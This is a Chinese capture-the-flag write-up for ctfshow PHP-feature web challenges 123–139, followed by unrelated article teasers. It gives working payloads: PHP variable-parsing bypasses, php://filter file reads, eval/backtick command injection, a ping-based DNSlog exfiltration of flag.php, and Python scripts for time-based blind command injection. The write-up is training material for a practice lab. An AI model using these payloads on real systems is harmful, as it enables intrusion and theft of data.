ctfshow web入门 php特性 web123--web139

news2024/11/26 4:32:36

web123

在这里插入图片描述必须传CTF_SHOW，CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的，所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线，但是用一个特性是可以绕过的，就是当[提前出现后，后面的点就不会再被转义了。

POST：
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系
不过为了后面更好做题我们还是研究一下
添加链接描述
他这里对这个就讲的特别详细了，我抄一下

argv是数组，argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv（数组）两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件（pearcmd.php）是通过argv和argc来获取参数的。

web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off)，重启服务，$_SERVER[‘argv’]才会有效果，题目中应该是On

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

$argv,$argc在web模式下不适用

cli模式（命令行）下

第一个参数总是当前【脚本】的文件名，因此 $argv[0] 就是脚本文件名。

当把php作为脚本，使用这个命令执行：php script.php arg1 arg2 arg3

以上示例的输出类似于：
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

然后现在是网页模式

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断，用+代表空格。

构造payload

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

这道题终于解决了

web125

在这里插入图片描述就用argv的方法来写

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

在这里插入图片描述如上题

web127

在这里插入图片描述extract：从数组中将变量导入到当前的符号表
在这里插入图片描述还有空格可以用

?ctf show=ilove36d

在这里插入图片描述

web128

在这里插入图片描述

gettext():_()是gettext()的拓展函数 在开启相关设定后，_("666")等价于gettext("666")，且就返回其中的参数(因为过滤了字母所以我们就用下划线，让其输出)
get_defined_vars：返回由所有已定义变量所组成的数组，因为包含了flag.php，所以flag.php里面肯定有$flag储存了flag。

?f1=_&f2=get_defined_vars

在这里插入图片描述

web129

在这里插入图片描述

stripos：查找字符串首次出现的位置

readfile： 输出文件

题目要求我们构造的f中有ctfshow，且不在最开头。则执行readfile函数，同时还要不影响flag.php的读取

GET传参：

//查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64，然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

在这里插入图片描述stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
然后数组可以绕过preg_match

POST:
f[]=1

.表示任意单个字符，+表示必须匹配1次或多次，+?表示 重复1次或更多次，但尽可能少重复。

所以在ctfshow前面必须有至少一个字符，才会返回true
所以直接构造playload：f=ctfshow,即可绕过preg_match函数

同时，if(0 === flase)返回值为false0不是强等于false的，所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

在这里插入图片描述会进行字符串转换我们之前的办法用不了了
用脚本使得目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

在这里插入图片描述

web132

在这里插入图片描述
扫描后台，我们进admin/index.php看看
在这里插入图片描述在这里插入图片描述mt_rand()：使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
生成1-877的随机数

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&比||优先级高所以可以看成是
if(（$code === mt_rand(1,0x36D) && $password === $flag ）|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1在这里插入图片描述

web133

在这里插入图片描述

$F = @$_GET['F'](防止报错)
substr($F,0,6)（截取其中的六个字符）

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样？**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码，``是shell_exec()函数的缩写，然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕，慢慢理解
就是说执行的是eval（'$F`;+sleep 3`'）;

然后我们就可以进行类似的构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog
在这里插入图片描述

先点击左边的获得域名，然后传参之后再点击右边的刷新结果
在这里插入图片描述flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

在这里插入图片描述

parse_str是对get请求进行的内容解析成变量。例如传递?a=1，执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名，并将键值赋给这些变量。

对_POST进行extract，那么构造

?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码
在这里插入图片描述

web135

在这里插入图片描述web133一样的东西但是我们的grep被过滤了，所以得思考一下怎么才行，但是反斜杠引号什么的没过滤，就可以用来绕过
但是不知道为什么web133的相关操作我都用不了了
只能用其他方法了比如写文件

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag
在这里插入图片描述

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

在这里插入图片描述exec相当于system
直接ls查看目录，发现一片空白，这时候就需要学新东西了

tee命令
主要用于从标准输入读取数据，并将其内容同时输出到标准输出（屏幕）和一个或多个文件中。简单来说，就像水管中的 T 形接头一样，数据流经过这里时，既可以继续流向下游，也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt

?c=ls /|tee 3
然后访问3，下载文件记事本打开

查看flag

?c=cat /f149_15_h3r3|tee 6

在这里插入图片描述在这里插入图片描述

web 137

在这里插入图片描述获得flag要调用getflag，也就是调用类里面的成员

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

POST:
ctfshow=ctfshow::getflag

在这里插入图片描述查看源代码
在这里插入图片描述

web138

在这里插入图片描述
调用类中的成员但是不能有 : 那么刚才的方法就不能用了，但是我们的

call_user_func函数里面可以传数组，第一个元素是类名或者类的一个对象，第二个元素是类的方法名，同样可以调用。这就避免了:的出现。

传参

POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码
在这里插入图片描述

web139

在这里插入图片描述

import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串，符号可以自己加
result = ""          # 初始化一个空字符串，用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下，一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时，超时就是之前sleep 3了。

            # 如果请求发生异常，表示条件满足，将当前字符 n 添加到结果字符串中，并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位，“~”不常出现，用作结尾
                key = 1
    # 在每次获取一个字符后，将一个空格添加到结果字符串中，用于分隔结果的不同位置
    result += " "

在这里插入图片描述f149_15_h3r3

import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号，这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

继续跑flag

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1578664.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【javaWeb 原理篇】底层实现原理(快速学习配置原理，Bean管理)

【javaWeb 原理篇】底层实现原理(快速学习配置原理，Bean管理)

Spring底层 配置优先级Bean管理获取beanBean的作用域第三方Bean SpringBoot原理起步依赖自动配置自动配置的原理自定义starter 配置优先级 Spring中的配置文件如果配置了相同的内容则根据配置优先级进行配置: application.properties>application.yml>application.yaml …
阅读更多...
90天玩转Python—08—基础知识篇：Python优秀代码的编程规范

90天玩转Python—08—基础知识篇：Python优秀代码的编程规范

90天玩转Python系列文章目录 90天玩转Python—01—基础知识篇：C站最全Python标准库总结 90天玩转Python--02--基础知识篇：初识Python与PyCharm 90天玩转Python—03—基础知识篇：Python和PyCharm（语言特点、学习方法、工具安装） 90天玩转Python—04—基础知识篇：Pytho…
阅读更多...
Python技能树学习-函数

Python技能树学习-函数

题目一：递归调用 函数的参数： def dump(index, default0, *args, **kw): print(打印函数参数) print(---) print(index:, index) print(default:, default) for i, arg in enumerate(args): print(farg[{i}]:, arg) for…
阅读更多...
跨越网络边界：借助C++编写的下载器程序，轻松获取Amazon商品信息

跨越网络边界：借助C++编写的下载器程序，轻松获取Amazon商品信息

背景介绍 在数字化时代，数据是新的石油。企业和开发者都在寻找高效的方法来收集和分析网络上的信息。亚马逊，作为全球最大的电子商务平台之一，拥有丰富的商品信息，这对于市场分析和竞争情报来说是一个宝贵的资源。 问题陈述 然…
阅读更多...
ArcGIS和ArcGIS Pro快速加载ArcGIS历史影像World Imagery Wayback

ArcGIS和ArcGIS Pro快速加载ArcGIS历史影像World Imagery Wayback

ArcGIS在线历史影像网站 World Imagery Wayback（网址：https://livingatlas.arcgis.com/wayback/）提供了数期历史影像在线浏览服务，之前不少自媒体作者在文中宣称其能代表Google Earth历史影像。 1、一点对比 （1）同一级别下的版本覆盖面 以下述区域为例，自2014年2月20…
阅读更多...
面试题：ConcurrentHashMap

面试题：ConcurrentHashMap

ConcurrentHashMap 是一种线程安全的高效Map集合 底层数据结构： JDK1.7底层采用分段的数组链表实现 JDK1.8 采用的数据结构跟HashMap1.8的结构一样，数组链表/红黑二叉树。 1. JDK1.7 数据结构 提供了一个segment数组，在初始化Concurre…
阅读更多...
SQL注入利用学习-Union联合注入

SQL注入利用学习-Union联合注入

联合注入的原理 在SQL语句中查询数据时，使用select 相关语句与where 条件子句筛选符合条件的记录。 select * from person where id 1; #在person表中，筛选出id1的记录如果该id1 中的1 是用户可以控制输入的部分时，就有可能存在SQL注入漏洞…
阅读更多...
【学习】软件验收测试，能否选择第三方检测机构进行测试？

【学习】软件验收测试，能否选择第三方检测机构进行测试？

随着信息技术的快速发展，软件已经成为各行各业中不可或缺的一部分。为了保证软件的质量和稳定性，验收测试成为了软件开发过程中至关重要的一环。那么，第三方软件测试机构可以做验收测试吗？我们一起来看下今日的分享。 一、验收测…
阅读更多...
目标检测——色素性皮肤病数据集

目标检测——色素性皮肤病数据集

一、重要性及意义 首先，色素性皮肤病变是一类常见的皮肤疾病，其发病率有逐年增高的趋势。这些病变可能由遗传或环境因素导致黑素细胞生成异常，如黑色素瘤等。黑色素瘤具有极高的恶性率和致死率，而且恶化可能性大，容易…
阅读更多...
大模型基础知识 - 语言模型及其演进

大模型基础知识 - 语言模型及其演进

开场白 人工智能发展到现在，在2个重要领域取得了重大突破，有望达到人类水平： 计算机视觉 （Computer Vision, CV）-> 希望机器帮助人类处理图像数据自然语言处理（Natural Language Processing, NLP&…
阅读更多...
rsync+inotify实时同步 和 GFS分布式文件系统概述

rsync+inotify实时同步 和 GFS分布式文件系统概述

目录 一、rsyncinotify实时同步 1.1.实时同步的优点 1.2.Linux内核的inotify机制 1.3.发起端配置rsyncInotify 1.4.配置远程登陆 1.4.1.修改rsync源服务器配置192.168.190.101 ​编辑 1.4.2.配置server 192.168.190.102 二、GFS 2.1.GlusterFS简介 2.2.GlusterFS特点…
阅读更多...
6 个典型的Java 设计模式应用场景题

6 个典型的Java 设计模式应用场景题

单例模式（Singleton） 场景： 在一个Web服务中，数据库连接池应当在整个应用生命周期中只创建一次，以减少资源消耗和提升性能。使用单例模式确保数据库连接池的唯一实例。 代码实现： import java.sql.Connection; import java.sql.SQLException;public class DatabaseConne…
阅读更多...
【SCI绘图】【热力图系列2 R】多特征相关性分析热力图指定聚类 R

【SCI绘图】【热力图系列2 R】多特征相关性分析热力图指定聚类 R

SCI，CCF，EI及核心期刊绘图宝典，爆款持续更新，助力科研！ 本期分享： 【SCI绘图】【热力图系列2 R】多特征相关性分析热力图指定聚类 R 1.环境准备 library(gplots) library(RColorBrewer)2.数据读取 ###…
阅读更多...
AI如何与健康管理相结合

AI如何与健康管理相结合

AI与健康管理的结合是当今科技和医疗领域的一个重要趋势。随着人工智能技术的不断发展和完善，它在健康管理方面的应用越来越广泛，为人们提供了更加高效、精准和个性化的健康管理服务。本文将探讨AI如何与健康管理相结合，以及这种结合所带来的…
阅读更多...
1.Godot引擎|场景|节点|GDS|介绍

1.Godot引擎|场景|节点|GDS|介绍

Godot介绍 Godot是一款游戏引擎 可以通过在steam商城免费下载 初学者和编程基础稍差的推荐学习使用GDScript，和python有些相似 Godot节点 Godot的开发思想——围绕节点 节点的特征与优势 最常用基本的开发组件大部分都具有具体的功能，如图片&#xf…
阅读更多...
JavaScript - 你知道==、===和Object.is的区别吗

JavaScript - 你知道==、===和Object.is的区别吗

难度级别：初级及以上 提问概率：75% 因为==操作符会存在数据类型的隐式转换，所以最终判断的是转换后的值是否相等，经过总结发现，除了null、undefined和NaN以外，其他的数据类型在遇到==数据转换时候，更倾向于先转为数值类型再进行比较，…
阅读更多...
UE4_动画基础_ 使用分层动画（Using Layered Animations）

UE4_动画基础_ 使用分层动画（Using Layered Animations）

完成在移动过程中武器发射的角色制作！ 动画混合仅仅意味着在一个角色或骨架网格体上的两个或多个动画之间进行平滑过渡。在虚幻引擎4中，有多种方法可以应用这种混合，要么通过混合空间，或通过实际组合两个基于加权偏差或alpha值的…
阅读更多...
【记录】LangChain｜llama 2速通版

【记录】LangChain｜llama 2速通版

官方教程非常长，我看了很认可，但是看完了之后呢就需要一些整理得当的笔记让我自己能更快地找到需求。所以有了这篇文章。【写给自己看的，里面半句废话的解释都没有，如果看不懂的话直接看官方教程再看我的】 我是不打算一开始就用…
阅读更多...
【简单讲解下Lisp的学习历程】

【简单讲解下Lisp的学习历程】

🎥博主：程序员不想YY啊 💫CSDN优质创作者，CSDN实力新星，CSDN博客专家 🤗点赞🎈收藏⭐再看💫养成习惯 ✨希望本文对您有所裨益，如有不足之处，欢迎在评论区提出…
阅读更多...
科研学习|科研软件——SPSS统计作图教程：多组折线图（≥3个变量）

科研学习|科研软件——SPSS统计作图教程：多组折线图（≥3个变量）

一、问题与数据 研究者想研究45-65岁不同性别人群中静坐时长和血胆固醇水平的关系，分别招募50名男性和女性（gender）询问其每天静坐时长（time，分钟），并检测其血液中胆固醇水平（cholesterol， mmol/L），部分数据如图1。研究者该如何绘图展示这两者间的关系呢？ 二、问题…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023